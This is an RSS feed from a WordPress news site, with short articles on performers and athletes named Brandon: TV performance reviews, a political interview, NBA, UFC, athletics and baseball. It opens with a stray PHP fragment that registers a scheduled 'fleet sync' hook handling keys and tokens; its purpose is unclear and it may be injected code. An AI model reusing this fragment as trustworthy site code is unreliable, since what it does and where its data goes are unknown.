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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Brandon – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 13 Jun 2020 16:31:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Brandon – Brief News https://briefnews.eu 32 32 Performer of the Week: Brandon Flynn https://briefnews.eu/performer-of-the-week-brandon-flynn/ https://briefnews.eu/performer-of-the-week-brandon-flynn/#respond Sat, 13 Jun 2020 16:31:15 +0000 https://briefnews.eu/performer-of-the-week-brandon-flynn/ THE PERFORMER | Brandon Flynn

THE SHOW | 13 Reasons Why

THE EPISODE | “Graduation” (June 5, 2020)

THE PERFORMANCE | Given that the Netflix teen drama has sustained itself by consistently blindsiding its audience with devastating twists and turns, it’s no surprise that 13 Reasons Why saved one of its greatest tragedies — and most powerful performances — for last. But that doesn’t mean we were ready for either of them.

Warning: The rest of this article spoils the series finale of 13 Reasons Why. Read on at your own risk.

After passing out on the dance floor at prom, Justin was diagnosed with AIDS, a disease that ravaged him seemingly overnight. It was an unpredictable twist and an unthinkable fate for Flynn’s character, a
well-meaning high school senior with a difficult history of intravenous drug use and homeless sex work. Watching Justin say goodbye to Jessica, the love of his young life, was expectedly devastating, but we simply did not have the emotional capacity to handle Justin’s farewell to Clay, the closest thing he had to a brother.

Not only did Flynn nail the physicality of Justin’s neurological infection — hearing him struggle to speak in final moments was an instant tearjerker — but he also expertly maneuvered the layered dynamics of the scene itself. Justin was clearly determined to appear strong for the sake of his friends and family, but as the reality of
his mortality began to sink in, you could feel the facade crumbling under the immensity of the situation. We never thought the question “Can you hold my hand, bro?” would ever shatter us to pieces, but here we are.

This was certainly not how Justin’s friends (nor the show’s viewers) would have chosen to say goodbye to this beloved character, but from an acting standpoint, it almost feels like the perfect performance to immortalize Flynn’s contribution to the unflinching series.

What We do In the Shadows HONORABLE MENTION | What We Do in the Shadows… is slay vampires — if you’re Guillermo de la frickin’ Cruz. And in this week’s finale, boy, did the conflicted familiar and portrayer Harvey Guillén each rise to the occasion. For a full season, Guillermo was torn between his accidental (ancestral?) aptitude with a stake and his deep-seated wish to be a vampire. But when his master, Nandor, and the other roommates were lured into an insidious trap, both “Gizmo” and Guillén, seemingly with the flip of a switch, swung into John Wickian warrior mode, bravely breaching the Vampire Theatre and then brazenly dispatching with dozens of bloodsuckers, by a colorful variety of means. It was a ruthless rampage by the oft-dismissed servant, and a bravura performance by Guillén.

HONORABLE MENTION | For a short while there on DC’s Stargirl, we, like Courtney, could only wonder what “loser table” member Yolanda’s deal was. This week we found out, and the story that unspooled was a nice showcase for Yvette Monreal. In flashbacks, we met a far sunnier Yolanda, one who had everything going for her. But with one cruel prank, she lost everything — including that light within her. Monreal thus played the teen as sapped of her spirit, rueful for that U-turn life threw her. Then, when Courtney nudged Yolanda to be a part of a heroic crusade — by suiting up as Wildcat — Monreal revisited the spark that has been snuffed. There was a heartbreaking hiccup, when Yolanda pleaded with her parents to put the past behind them, only to be rudely rebuffed. But that turned out to be the cue she needed to embrace a superhero persona, landing outside Court’s window with a winning smile.

Adriana Barraza Penny DreadfulHONORABLE MENTION | We howled with excitement as the “old coyote” bared her teeth in Sunday’s Penny Dreadful: City of Angels. It had already been a hell of an episode for Adriana Barraza, the force of nature who plays the Vega family’s fiery matriarch, Maria. She’d subtly rendered the housekeeper’s disgust at dealing with her employer’s mistress and radiated genuine warmth in dealing with the man himself. But then… oh, then came Maria’s downright thrilling faceoff with Natalie Dormer’s Magda. As the old woman toyed with her nemesis, feigning weakness before rising up to declare that she and her children weren’t pawns in the she-demon’s chess game, “we are kings and queens,” Barraza gave a performance that was so fierce, it should’ve earned her more than an Honorable Mention, a crown.

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]]> https://briefnews.eu/performer-of-the-week-brandon-flynn/feed/ 0 Charlie Stayt clashes with Brandon Lewis in BAME infection row: ‘Give me one measure?’ https://briefnews.eu/charlie-stayt-clashes-with-brandon-lewis-in-bame-infection-row-give-me-one-measure/ https://briefnews.eu/charlie-stayt-clashes-with-brandon-lewis-in-bame-infection-row-give-me-one-measure/#respond Thu, 04 Jun 2020 07:41:50 +0000 https://briefnews.eu/charlie-stayt-clashes-with-brandon-lewis-in-bame-infection-row-give-me-one-measure/

Lewis began to respond: “Well, first of all, all the measures-“

But Stayt was quick to cut him off and demand a more direct answer.

He yelled once again: “No, has anything been done since that report?”

Again, Lewis replied: “In terms of that specific report, the minister for equalities, is taking forward a piece of work right now with public health England and health officials to look at what more we can do to give a specific benefit for people who are affected in that outline of the BAME report.”

 

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]]> https://briefnews.eu/charlie-stayt-clashes-with-brandon-lewis-in-bame-infection-row-give-me-one-measure/feed/ 0 LeBron James: Lakers star makes Brandon Ingram admission after Timberwolves NBA defeat https://briefnews.eu/lebron-james-lakers-star-makes-brandon-ingram-admission-after-timberwolves-nba-defeat/ https://briefnews.eu/lebron-james-lakers-star-makes-brandon-ingram-admission-after-timberwolves-nba-defeat/#respond Tue, 30 Oct 2018 05:28:47 +0000 http://briefnews.eu/lebron-james-lakers-star-makes-brandon-ingram-admission-after-timberwolves-nba-defeat/

James was powerless once again as the Lakers slipped to a 124-120 loss last night.

Despite chipping in with 29 points, 10 rebounds and eight assists, the four-time MVP was outshone by Wolves ace Jimmy Butler.

The Wolves will be thankful to Butler who produced a stunning display, scoring a game-high 32 points.

Also, he clinched the victory in dramatic circumstances by making a three-pointer with just 19.7 seconds left before the buzzer went.

Ingram, meanwhile, who was making his return to the Lakers after serving a four-game suspension, scored 24 points in his first game back.

And James thinks Ingram’s foul play impacted upon the Lakers.

He said: “Well besides his foul trouble, he was another scorer and ball handler.

“He had a huge block in the fourth quarter on Jimmy [Butler] on his pull-up.

“He had some foul trouble which affected his play and affected our game.”

James has only won two of the seven matches he has played for the Lakers and insists there is a lot of room for improvement.

He added: “We got to get better and we know that.

“We talk about patience because we can’t have a recurrence of the same thing.

“Doing the same things over and over and expecting a different result that’s insanity.

“We have to get better and we can’t have the same mistakes over and over.”

James will hope to get back to winning ways against the Dallas Mavericks in the early hours of Thursday morning UK time (2.30am).

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]]> https://briefnews.eu/lebron-james-lakers-star-makes-brandon-ingram-admission-after-timberwolves-nba-defeat/feed/ 0 UFC 228: Zabit Magomedsharipov continues rise with stunning kneebar win over Brandon Davis https://briefnews.eu/ufc-228-zabit-magomedsharipov-continues-rise-with-stunning-kneebar-win-over-brandon-davis/ https://briefnews.eu/ufc-228-zabit-magomedsharipov-continues-rise-with-stunning-kneebar-win-over-brandon-davis/#respond Sun, 09 Sep 2018 12:02:22 +0000 http://briefnews.eu/ufc-228-zabit-magomedsharipov-continues-rise-with-stunning-kneebar-win-over-brandon-davis/

Russia’s Zabit Magomedsharipov added to his burgeoning reputation as one of the featherweight division’s best prospects by beating Brandon Davis with a rare kneebar submission at UFC 228 in Dallas on Saturday night.

After a cautious opening, Magomedsharipov cranked up the pressure in round two, peppering his opponent with knee shots and punches, before taking him to the mat.

The Russian brought proceedings to an end by flipping Davis over while on the American’s back, before applying the kneebar and forcing him to tap with just over a minute to go in the round.

Despite the apparent gulf in class – with Davis stepping into the bout at 11 days’ notice, replacing the injured Yair Rodriguez – it was nonetheless an impressive performance from Magomedsharipov.

READ MORE: ‘Brutal’: Brazil’s Andrade KOs Polish rival Kowalkiewicz with savage punch at UFC 228 (VIDEO)

The Dagestani native, who moved his career record to 16-1, including 4-0 in the UFC, said after the bout that he was still keen on taking on Rodriguez, but that he was also setting his sights on a potential match-up with Chad Mendes or Jose Aldo. 

“I’m very happy with the UFC and the matchmakers because the only thing I was worried about is if they would find me a new opponent on time,” the 27-year-old said, according to MMA Junkie.

“I put so much work and focus to get prepared for UFC 228, that I didn’t want to lose the opportunity of fighting in this card.

“I mentioned I want to fight Chad Mendes or Jose Aldo next, because if you want to be the best, you need to fight the best.”

Magomedsharipov’s victory over Davis was reportedly only the third kneebar submission in UFC history, but was remarkably the second of the night after Aljamain Sterling earlier defeated Cody Stamann by the same method.

After the win, the Russian was lauded for his performance as he continues to be touted as one of the biggest prospects at 145 lbs.  

The fighter has also won praise from MMA expert Robin Black, who has hailed him as part of a “new generation” who will take the sport to the next level.  

“He is a wonderfully gifted, talented fighter…. Maybe gifted is not the right word, because he wasn’t born with these skills, he’s created these skills and put them together in a modern context,” Black told RT Sport. 

“Fighting like all things evolves… the modern fighters like Zabit, they don’t box, then kickbox, then wrestle, then do jiu-jitsu. To them, they see that as what the old people did… they just fight, it’s free-fighting, it’s innovative, it’s improvisational.

“They train their body’s ability to move freely, and they train their mind’s ability to explore in the moment.

“So they’re never wrestling or boxing or kickboxing or grappling, they’re just fighting, and that’s the next stage,” Black added.

READ MORE: ‘Khabib can 100% knock out McGregor’: Robin Black analyzes UFC 229 scenarios

The MMA analyst also said the sports biggest star, Conor McGregor, took a similar approach.  

“There are others like him, we’ve seen others like him, it is what [Conor] McGregor – as much as we see his left hand throwing punches – it is a principle of the game he wants to play, or believes he’s capable of playing, but he has been able to win with only a portion of it.

“These fighters, that’s the next generation… that is the next level, he’s not alone there, but he’s at the front end of it.”     

WOODLEY BEATS TILL TO RETAIN TITLE

On the card’s main event, Tyron Woodley retained his welterweight belt in style by beating Darren Till via second-round submission.

Woodley finished the British fighter, nicknamed ‘The Gorilla’, with a D’Arce choke inside the last minute of round two – capping an impressive display in which he overwhelmed Till from the outset.

The American set the stage for the denouement by dropping Till with a vicious right hand early in the second round, before pounding away at his stricken opponent and then transitioning to the choke, forcing the UK fighter to tap.

It was an aggressive, well-rounded performance from Woodley, who after the bout called out his “haters.” 

“There’s a lot of people hating against me but there’s more people with me… It feels awesome. I’m a student of the game.

“Whenever I name a name, I don’t get a good response. Whoever they put in front of me, I’m gonna beat them up,” said ‘The Chosen One’, who moves to a record of 19-3-1.

Till, who was bidding to become only the UK’s second ever UFC champion, after Michael Bisping, conceded that he had been well beaten in the bout at the American Airlines Center in Dallas. 

“Tyron was the better man, s*** happens. I’m just gutted. There’s no excuses. Make no mistake I will come back stronger. The goal doesn’t change,” said the fighter, 25, who was handed his first professional defeat and moves to 17-1-1.

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]]> https://briefnews.eu/ufc-228-zabit-magomedsharipov-continues-rise-with-stunning-kneebar-win-over-brandon-davis/feed/ 0 Humbled by nationals, Brandon McBride bounces back with 800m gold at NACAC https://briefnews.eu/humbled-by-nationals-brandon-mcbride-bounces-back-with-800m-gold-at-nacac/ https://briefnews.eu/humbled-by-nationals-brandon-mcbride-bounces-back-with-800m-gold-at-nacac/#respond Sun, 12 Aug 2018 01:05:16 +0000 http://briefnews.eu/humbled-by-nationals-brandon-mcbride-bounces-back-with-800m-gold-at-nacac/ TORONTO — Brandon McBride always reminds himself that anyone can lose on any given day. It keeps the Canadian middle-distance runner grounded and focused on the hard work needed to reach the sport's pinnacle.

The Windsor, Ont., native experienced that firsthand when he was upset by Edmonton's Marco Arop at last month's Canadian championships — breaking McBride's streak of three consecutive national titles in the men's 800 metres.

"He had a fantastic day and I just didn't quite have it … he was definitely the better man," McBride says. "If you look at the top athletes in the world, they've lost a couple of times — especially in the 800-metres event. It's so up and down

"Anyone can put together a string of good workouts or races. But at the end of the day, you're going to have a couple off days and you just gotta hope that the off days don't come at the championship level."

Watch McBride and Arop's 1-2 finish

Brandon McBride and Marco Arop finished 1st and 2nd in the men's 800m race at the NACAC Track and Field Championships 3:37

That wasn't the case this afternoon at Varsity Stadium as McBride edged out Arop in a time of one minute 46.14 seconds to claim gold in the men's 800 at the NACAC (North America, Central America and the Caribbean) track and field championships in Toronto. Arop took silver at 1:46.82.

After sitting comfortably in second place for most of the race, McBride made his move past Puerto Rico's Wesley Vazquez with about 200 metres remaining and took the lead for good. Arop followed suit on the final straightaway giving Canada a one-two finish on home soil.

"I thought I was going to take the lead and take us out at a medium pace but I saw Vazquez out there and I said, 'Hey, he looks like he wants it so I'm going to go ahead and let him have it. If he wants to take the wind, let him take the wind,' McBride said after the race.

Still, McBride knows there will be days like nationals where he won't be at his best. And as his old college coach, Steve Dudley, once told him, 'When you're having a bad day, just focus on having the best bad day possible.'

"I'm going to have that mentality moving forward because in the Olympic or world championship final or semifinals, who knows? I might not be feeling good then," McBride says. "I just have to be ready for anything, to dig deeper than I've ever dug before these next two years."

It's been a quick turnaround for McBride. After the humbling experience at nationals, he and his coach Kurt Downes went back to the drawing board ahead of McBride's next scheduled Diamond League meet in Monaco.

The result was a new Canadian record as McBride raced to a silver medal with a time of 1:43:20 to break Gary Reed's decade-long mark.

Aside from some minor tweaks, McBride says he and Downes didn't do things much differently nor find a secret new formula to success. The 24-year-old attributed his new personal-best time to just being ready to run on that day and his loss to Arop helped him mature in the two weeks between.

"I was very thankful that I had that experience because I think that give me a little bit of fire. If you take that experience away at nationals, maybe Monaco doesn't go so well," McBride says.

Edmonton's Marco Arop upended defending men's 800 champion Brandon McBride in 1:46.15 at the national championships in Ottawa. 5:34

While McBride was pleased with his performance, he felt he had more left in the tank compared to around the same point last year when McBride ended his season early citing emotional and mental fatigue.

Going into this season, McBride removed some things from his training routine that were slightly affecting his long-term performance and went back to the basics that helped produce his best seasons at Mississippi State.

The changes have made McBride's workouts higher in level and quality which has translated into consistent results as he has yet to finish outside the top five.

Monaco was validation that McBride's work in the gym and on the track is paying off.

"Monaco was really my first faster-pace race. If you look back at all my early season races, yes I ran fast but they were all off moderate or slow paces. It goes to show that we're moving in the right direction and there are still a lot of things that I need to work on," McBride says.

McBride and Arop embrace following their one-two finish in the men's 800-metre race at NACAC in Toronto on Saturday. (Chicco Nacion/CBC Sports)

In the past, McBride has felt more comfortable setting the pace and leading the pack. But this year, Downes had his pupil change things up with the purpose of getting McBride more comfortable in a variety of race situations and tactics.

Out of the six 800 events he's competed in 2018, McBride recalls only leading once.

"If I'm going to be in the mix for an Olympic or world championship medal, I have to be able to race from different styles — from the front, back, and in the middle," McBride says.

Just as the case was this afternoon, Arop may be fighting alongside McBride for a spot on the podium in future international meets.

McBride is looking forward to getting to know the younger Arop over the next two years and sharing advice with a fellow Mississippi State Bulldog as they move towards next year's world championships and Tokyo 2020.

"We can be a pretty good one-two punch for Canada. I'm really excited for his future and I think we can definitely help elevate each other," McBride says. "We can have two serious [mid-distance] competitors who can do great things."

The feeling is mutual with Arop.

"I'm just a little guy trying to follow him. He's had a very successful career and it looks like he's still starting out. I'm just trying to be right there with him," Arop says.

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Toronto general manager Ross Atkins says competitive baseball teams are increasingly less willing to part with top prospects when they tool up for a playoff run.

So while the Blue Jays didn't get a blue-chip minor leaguer when they traded veteran left-hander J.A. Happ to the New York Yankees, Atkins was pleased to get a pair of major league-ready players instead.

The Blue Jays continued their rebuilding process Thursday, sending Happ to the Yankees for infielder Brandon Drury and minor league outfielder Bill McKinney. The trade came hours after the Jays shipped reliever Seunghwan Oh to Colorado for minor league infielder Chad Spanberger, outfielder Forrest Wall and a player to be named or cash.

Drury, who is expected to join the Blue Jays when they start a three-game series with the White Sox in Chicago on Friday, creates a potential snarl in the Jays infield, where Yangervis Solarte, Lourdes Gurriel Jr., Aledmys Diaz and Devon Travis are already fighting for playing time. But Atkins said positional depth is necessary for any playoff-calibre team.

"This game will forever be about depth," Atkins said Thursday on a conference call. "You can never have enough of it.

"Having that as a challenge is where you want to be when you become a championship organization," he added. "We'll have opportunities for guys to play, there's no doubt about that. If it means that someone goes to triple-A, that is a good scenario for an organization."

Happ, who turns 36 in October, is 10-6 with a 4.18 ERA in 20 starts and was a first-time all-star, picking up the save for the American League at this year's midsummer classic in Washington, D.C. He joins a rotation that includes Luis Severino, Masahiro Tanaka, CC Sabathia and Sonny Gray.

Atkins called Happ a steady professional who helped the development of younger pitchers on staff, including up-and-coming lefty Ryan Borucki.

"In the three years I've known (Happ), he's only become more and more driven and more and more focused, and it's really inspiring to be around him," Atkins said.

Happ has a US$ 13 million salary in the final season of a $ 36 million, three-year contract, and the Yankees are responsible for the remaining $ 4,543,011.

New York began the day 5 1/2 games behind Boston, the AL East leader. The Yankees were just 14-14 in their previous 28 games.

A 12-year major league veteran, Happ is 102-82 with a 3.95 ERA for Philadelphia (2007-10), Houston (2010-12), Toronto (2013-14, 2016-18), Seattle (2015) and Pittsburgh (2015).

With the acquisition of Drury and McKinney, Atkins said the Blue Jays would pivot to the difficult task of trying to obtain young, controllable pitching.

"We're at the point now where our position player talent is very, very strong, and it would be hard to really upgrade," he added.

Drury, who turns 26 next month, was acquired by the Yankees from Arizona in February and began the season as their starting third baseman. He went on the disabled list after the team's eighth game because of blurred vision and migraines, and he lost his job to rookie Miguel Andujar.

Drury has played in just 10 games for New York since and has spent most of the season at Triple-A Scranton/Wilkes-Barre, where he is hitting .294 with five homers and 30 RBIs in 55 games. He has a $ 621,900 salary and has 2 years, 99 days of major league service, making it possible he could be eligible for salary arbitration for the first time next winter.

The 23-year-old was selected by Oakland with the 24th overall pick in the 2013 amateur draft, was traded to the Chicago Cubs with Addison Russell and Dan Straily for Jeff Samardzija and Jason Hammell in July 2014, then dealt to the Yankees along with Gleyber Torres and Adam Warren for Aroldis Chapman in July 2016.

McKinney has played two games for the Yankees, filling in on March 30-31 because of injuries to other outfielders. He is hitting .230 with 13 homers and 35 RBIs in 62 games this year for Class A Tampa, Double-A Trenton and Scranton.

Toronto also claimed right-handed pitcher Oliver Drake on waivers from the Los Angeles Angels, and said Drake will report to the Major League roster.

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]]> https://briefnews.eu/blue-jays-trade-j-a-happ-to-yankees-for-brandon-drury-prospect/feed/ 0 Performer of the Week: Jesus Christ Superstar's Brandon Victor Dixon https://briefnews.eu/performer-of-the-week-jesus-christ-superstars-brandon-victor-dixon/ https://briefnews.eu/performer-of-the-week-jesus-christ-superstars-brandon-victor-dixon/#respond Sat, 07 Apr 2018 17:21:55 +0000 http://briefnews.eu/performer-of-the-week-jesus-christ-superstars-brandon-victor-dixon/ THE PERFORMER|Brandon Victor Dixon

THE SHOW|Jesus Christ Superstar Live (April 1, 2018)

THE PERFORMANCE| Good god almighty, did NBC choose the right person to play Judas in its Jesus Christ Superstar Live or what? Broadway mainstay/Power actor Dixon brought history’s most famous betrayer to vivid life in Andrew Lloyd Webber and Tim Rice’s rock opera, broadcast Easter Sunday, and we just can’t stop thinking about his captivating performance.

Though there were bigger names in the cast — John Legend, Sara Bareilles, Alice Cooper — we couldn’t take our eyes off Dixon from the minute he hit the stage. He filled Judas’ first number, “Heaven on Their Minds,” with the exasperated swagger of Jesus’ disillusioned right-hand man, delivered in a smooth, smooth tenor. Dixon’s Act I Judas was so sure, so in control, that it was a thing of beauty to watch him unravel as the events of Jesus’ final days progressed.

Though Dixon was amazing throughout show, two moments in particular stand out. The first: his gorgeously gut-wrenching reprise of “I Don’t Know How to Love Him.” His Judas sobbed in shame. He writhed in guilt. And he still managed to sing out some of the clearest, finest falsetto in the entire two-and-a-half-hour telecast.

The second: that showstopping rendition of “Superstar,” which Dixon filled with an exuberance and energy that radiated right through the screen. Judas’ shiny fever dream of a revival was exactly the high-energy boost that the heavy second act required, all thanks to Dixon’s seemingly limitless stamina. His Judas bounded across the stage like it was made of rubber. He fell to the ground, spun around and stood without missing a literal beat. By the time he hit those wailing notes at the end of the number, we were believers… in the certainty that Dixon’s got a big career ahead of him.

HONORABLE MENTION| Did you miss Donald Glover‘s dual role in this week’s Atlanta? He was right under your (surgically enhanced) nose the whole time: Glover was unrecognizable as Teddy Perkins, the ghastly, bleached-white creep who lured Darius to his Gothic mansion with the promise of a free piano. An eerie mash-up of late-stage Michael Jackson and Johnny Depp’s Willy Wonka, Teddy was hilariously weird, fixing Darius with an unsettlingly blank stare while eating a soft-boiled ostrich egg with his bare hands. But Glover brought an unexpected poignancy to the role, too, as Teddy fiercely defended his abusive father’s tough-love parenting style. Glover literally disappeared into the role — the credits would only list “Teddy Perkins as Himself” — and gave us a fresh supply of nightmare fuel for years to come.

HONORABLE MENTION| Remember the joyful wonderment you felt as a baby when somebody blew you a bubble for the first time? That’s how we feel watching Annie Murphy bring to life Schitt’s Creek’s Alexis. Over four seasons, the actress has taken the impoverished party girl from flighty as a sparrow to… OK, she’s still super flighty. (Just ask Mutt’s plants.) But now she’s also adorably entrepreneurial, surprisingly selfless and stunningly vulnerable. So when in “The Rollout” she confessed to ex-fiancé Ted that she was in love with him, Murphy not only encapsulated in the tender moment her character’s whole evolution, layering her priceless, trademark Alexisisms atop the character’s hard-won depth, she also made us terribly afraid that our bubble was about to be burst.

HONORABLE MENTION | As Arrow‘s Oliver and Diggle railed at each other like never before, Stephen Amell‘s explosive performance delivered gut punches you couldn’t help but feel at home. He kept things cool and collected to start, while Diggle aired his grievances. “When did all of these just magically become my decisions?” Oliver calmly countered. “I seem to remember you… there… right next to me.” But when Dig attempted to lay bodies at his friend’s feet, the gloves came off. “[Ricardo Diaz] showed up while you were the Green Arrow! You bought drugs from him, John! You funded what he is doing!” bellowed Oliver, accurately. “You put the team at risk by lying. You weren’t 100-percent, and nobody knew it!” The ensuing brawl may have been a draw, but Amell led Oliver to a win in the verbal slugfest.

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]]> https://briefnews.eu/performer-of-the-week-jesus-christ-superstars-brandon-victor-dixon/feed/ 0 The Fosters Team on [Spoiler]'s Split, Stef's Anxiety, 'Growth' for Brandon https://briefnews.eu/the-fosters-team-on-spoilers-split-stefs-anxiety-growth-for-brandon/ https://briefnews.eu/the-fosters-team-on-spoilers-split-stefs-anxiety-growth-for-brandon/#respond Wed, 10 Jan 2018 02:31:38 +0000 http://briefnews.eu/the-fosters-team-on-spoilers-split-stefs-anxiety-growth-for-brandon/ Warning: The following contains spoilers for Tuesday’s The Fosters.

The Fosters‘ Season 5B premiere on Tuesday was not kind to one couple, who found themselves breaking up.

During a mature heart-to-heart, Callie told her boyfriend Aaron that they need to rebuild their relationship as friends, because they both have trust problems that are causing them to be “very nasty” to each other. Although the pair split, “you’re going to see a lot of Aaron in this season,” star Maia Mitchell reassures TVLine.